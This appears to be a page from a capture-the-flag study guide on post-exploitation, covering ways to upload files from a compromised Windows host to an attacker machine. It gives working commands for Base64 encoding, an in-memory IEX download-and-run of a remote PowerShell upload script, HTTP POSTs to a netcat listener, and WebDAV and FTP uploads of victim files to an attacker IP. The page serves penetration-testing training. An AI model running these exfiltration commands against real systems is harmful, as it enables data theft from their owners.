> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/windows-file-transfer-methods-upload.md).

# Windows File Transfer Methods-Upload

Use this page when you need to move files off a Windows compromised host.

Pick the method that fits your shell, outbound access, and tooling.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the Windows machine you already accessed.
{% endhint %}

### Base64 copy from Windows to Linux

Use this when you cannot open a normal upload channel.

#### Compromised host — encode the file on Windows

Read the file as bytes and convert it to one Base64 string.

```powershell
[Convert]::ToBase64String((Get-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Encoding Byte))
```

Create a hash before the transfer.

```powershell
Get-FileHash "C:\Windows\System32\drivers\etc\hosts" -Algorithm MD5 | Select-Object Hash
```

Example:

```powershell
Hash
----
3688374325B992DEF12793500307566D
```

#### Attacker — decode the file on Linux

Paste the Base64 value into `echo`, then decode it.

```bash
echo '<BASE64_STRING>' | base64 -d > hosts
```

#### Attacker — verify the transfer

Confirm the hash matches the source file.

```bash
md5sum hosts
```

Example:

```bash
3688374325b992def12793500307566d  hosts
```

{% hint style="info" %}
Use `base64 -d` to decode the file.

Use `md5sum` to confirm the transfer completed cleanly.
{% endhint %}

### PowerShell web uploads

PowerShell has no native upload cmdlet.

Use an HTTP receiver on your host, then push the file from Windows.

#### Method 1 — `uploadserver` with `PSUpload.ps1`

Use this when you want a cleaner upload flow.

**Attacker — start the receiver on Linux**

```bash
pip3 install uploadserver
python3 -m uploadserver
```

This starts a web server on port `8000`.

The upload endpoint is `/upload`.

**Compromised host — upload from Windows**

```powershell
# Load the upload helper in memory
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

# Upload the file
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
```

How it works:

* `IEX ... DownloadString(...)` loads `PSUpload.ps1` into memory.
* `Invoke-FileUpload` sends the file to your upload endpoint.
* `-Uri` points to your receiver.
* `-File` points to the file on the target.

{% hint style="warning" %}
`IEX` is convenient, but noisy.

Use it only when the tradeoff makes sense.
{% endhint %}

#### Method 2 — Base64 over POST to `nc`

Use this when you want minimal setup.

**Attacker — start a listener on Linux**

```bash
nc -lvnp 8000
```

Flags:

* `-l` — listen mode.
* `-v` — verbose output.
* `-n` — no DNS resolution.
* `-p 8000` — listen on port `8000`.

**Compromised host — encode and send the file from Windows**

```powershell
$b64 = [System.Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
```

What happens:

* The first line reads the file and stores the Base64 value in `$b64`.
* The second line sends that value in an HTTP `POST` request.
* Netcat prints the HTTP headers and body to your terminal.

**Attacker — recover the file on Linux**

Copy only the Base64 body, then decode it.

```bash
echo '<BASE64_STRING>' | base64 -d > hosts
```

Compare the methods:

| Comparison           | Method 1 — `uploadserver`   | Method 2 — Base64 + `nc` |
| -------------------- | --------------------------- | ------------------------ |
| Setup needed         | `pip3 install uploadserver` | Netcat only              |
| File integrity check | Easier to validate          | Manual hash check        |
| Cleanliness          | Cleaner                     | Messier                  |
| Dependencies         | Python module               | Netcat only              |
| Best use             | When you can install tools  | Quick and minimal setup  |

### SMB-style uploads over WebDAV

Use this when outbound SMB on port `445` is blocked.

WebDAV gives you SMB-like file operations over HTTP, usually on port `80`.

#### Attacker — start a WebDAV server on Linux

```bash
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

Flags:

* `--host=0.0.0.0` — listen on all interfaces.
* `--port=80` — use HTTP port `80`.
* `--root=/tmp` — store uploaded files in `/tmp`.
* `--auth=anonymous` — allow anonymous access.

#### Compromised host — connect from Windows

```cmd
dir \\192.168.49.128\DavWWWRoot
```

`DavWWWRoot` is a special Windows keyword.

It tells the WebDAV Mini-Redirector to connect to the remote WebDAV root.

If you expose a specific folder, you can browse that directly instead.

```cmd
dir \\192.168.49.128\sharefolder
```

#### Compromised host — upload the file

```cmd
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\
```

These look like normal SMB copy commands.

Windows sends the file over HTTP to your WebDAV server.

The file lands in `/tmp` on your host.

Note: If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.

{% hint style="info" %}
If outbound `445` is allowed, a normal SMB share is often simpler.
{% endhint %}

### FTP uploads

Use FTP when port `21` is reachable and you want a simple upload path.

You can upload with PowerShell or with the built-in Windows FTP client.

#### Attacker — start an FTP server on Linux

Enable write access so the target can upload files to your host.

```bash
sudo python3 -m pyftpdlib --port 21 --write
```

Example output:

```
/usr/local/lib/python3.9/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  warnings.warn("write permissions assigned to anonymous user.",
[I 2022-05-18 10:33:31] concurrency model: async
[I 2022-05-18 10:33:31] masquerade (NAT) address: None
[I 2022-05-18 10:33:31] passive ports: None
[I 2022-05-18 10:33:31] >>> starting FTP server on 0.0.0.0:21, pid=5155 <<<
```

#### Compromised host — upload with PowerShell

Use `WebClient.UploadFile()` to send the file directly to the FTP server.

```powershell
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
```

The first argument is the remote FTP path.

The second argument is the local file to upload.

#### Compromised host — upload with the Windows FTP client

Use a command file when the shell is non-interactive.

```cmd
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

What the script does:

* `open 192.168.49.128` — connect to the FTP server.
* `USER anonymous` — log in as the anonymous user.
* `binary` — preserve raw bytes during transfer.
* `PUT ...` — upload the local file.
* `bye` — disconnect.

Example client output:

```
ftp> open 192.168.49.128
Log in with USER and PASS first.

ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/windows-file-transfer-methods-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
